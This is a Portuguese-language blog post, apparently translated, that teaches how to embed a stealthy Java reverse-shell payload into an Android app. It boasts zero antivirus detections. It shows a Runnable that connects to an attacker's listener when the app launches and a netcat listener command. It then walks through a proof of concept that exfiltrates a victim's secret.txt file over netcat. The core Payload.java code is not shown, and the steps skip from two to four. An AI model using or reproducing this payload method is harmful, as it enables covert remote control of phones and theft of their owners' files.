Um Payload Java Reverse Shell Stealthy para Android 13 e abaixo sem usar Msfvenom

Jan 20 2023
Isenção de responsabilidade: esta postagem é apenas para fins informativos e educacionais e para aqueles que desejam e estão curiosos para conhecer e aprender sobre o Android e a segurança móvel. NÃO tente violar a lei com qualquer coisa contida aqui, pois você é o único responsável por suas próprias ações.

Isenção de responsabilidade: esta postagem é apenas para fins informativos e educacionais e para aqueles que desejam e estão curiosos para conhecer e aprender sobre o Android e a segurança móvel. NÃO tente violar a lei com qualquer coisa contida aqui, pois você é o único responsável por suas próprias ações.

Eu sou Rui Heng , um amante de segurança ofensiva e pesquisador de segurança. Em minha primeira postagem, demonstrarei uma maneira simples de escrever seu próprio payload de shell reverso furtivo trabalhando no Android 13.0 Tiramisu mais recente , seguido por um cenário simples de prova de conceito. Decidi escrever este post devido à falta de artigos sobre payloads funcionando sem o Msfvenom.

A carga é testada do Android 4.4 a 13.0 API 33 em um Pixel 6 Pro.
Desde 17 de janeiro de 2023, é indetectável por todos os fornecedores de segurança VirusTotal.

Todos nós sabemos que o Msfvenom tem um módulo para incorporar uma carga de shell reversa em um APK já compilado. No entanto, você pode facilmente escrever seu próprio payload furtivo diretamente com um IDE como o Android Studio com apenas algumas linhas de código antes de compilar o APK, que será abordado neste post.

Nosso Custom Payload com 0 detecções no VirusTotal
Payload do Msfvenom com 31 detecções no VirusTotal
Shell reverso do meu Pixel 6 Pro rodando Android 13 obtido no Kali hospedado na Internet

Fique comigo até o final para uma simples prova de conceito!

Agora para o material técnico!

ETAPA 1: Criando a classe de carga útil Java (Payload.java)
Para esta carga útil, criamos uma nova classe Java usando as bibliotecas java.ioe . java.net.SocketO código abaixo é o que precisamos para criar o socket e manipular a entrada e saída do shell reverso.

ETAPA 2: Crie um thread executável para iniciar o shell ao iniciar o aplicativo
Em primeiro lugar, adicione a linha new Thread(runnable).start();à função onCreate em MainActivity.java .

Em seguida, adicione o código abaixo na classe MainActivity que cria um objeto executável e chama a função reverse_tcp declarada em Payload.java para iniciar o retorno de chamada do shell reverso. (Substitua a parte inferior pelo endereço IP do ouvinte LHOST e número da porta)

Runnable runnable = new Runnable() {
        @Override
        public void run() {
            new Payload().reverse_tcp("<IP Address Here>", <Port Number>);
        }
    };

No entanto, observe que habilitar permissões adicionais, como android.permission.WRITE_EXTERNAL_STORAGEdesbloquear mais possibilidades. Não iremos mais longe e isso depende de sua própria exploração.

ETAPA 4: Iniciando um Ouvinte e capturando o Shell Reverso
Compile o APK e instale-o no dispositivo de destino. Em sua máquina Kali ou atacante, inicie um ouvinte Netcat com (mude 444 para a porta que você definiu). Então, ao abrir o aplicativo, você receberá um shell reverso! Há muitas coisas que podemos fazer com ele, como executar comandos adb e Linux. nc -nvlp 444

Comandos Netcat, Curl, Linux e ADB funcionando perfeitamente

Observação: se o dispositivo de destino já estiver enraizado, você obterá acesso de superusuário com controle TOTAL . Este é o risco adicional quando você faz root no seu telefone.

Tempo de prova de conceito (POC) - um exemplo simples

No meu teste, tenho um servidor de nuvem Kali hospedado na Internet e ele detectou um shell reverso na minha vítima do Pixel 6 Pro depois que o aplicativo foi instalado e iniciado. Em seguida, usaremos o Netcat para exfiltrar um arquivo secret.txt da pasta Downloads da vítima, conforme mostrado abaixo:

Após obter o shell, utilizamos o nc, que vem instalado por padrão nos aparelhos mais novos, para enviar o arquivo secret.txt localizado na pasta de downloads pela porta 4444. O Netcat listener abaixo deve ser iniciado primeiro no Kali.
SUCESSO! secret.txt foi exfiltrado para a máquina Kali!

Empacotando!

É realmente simples escrever sua própria carga de shell reversa funcionando mesmo na API Android 33 e Build 13.0 mais recentes. Fiquei surpreso ao testar isso sozinho. Existem muitos POCs e ideias diferentes que você pode fazer com um shell como esse, mesmo quando não é privilegiado. Curiosamente, descobri que os dispositivos Android mais recentes já têm o Netcat instalado , o que o torna uma maneira extremamente poderosa de iniciar conexões de rede e transferências de arquivos.

Este post foi parte da minha descoberta ao realizar minha pesquisa e experimentar shells reversos do Android.

Se você chegou até aqui, obrigado por ler!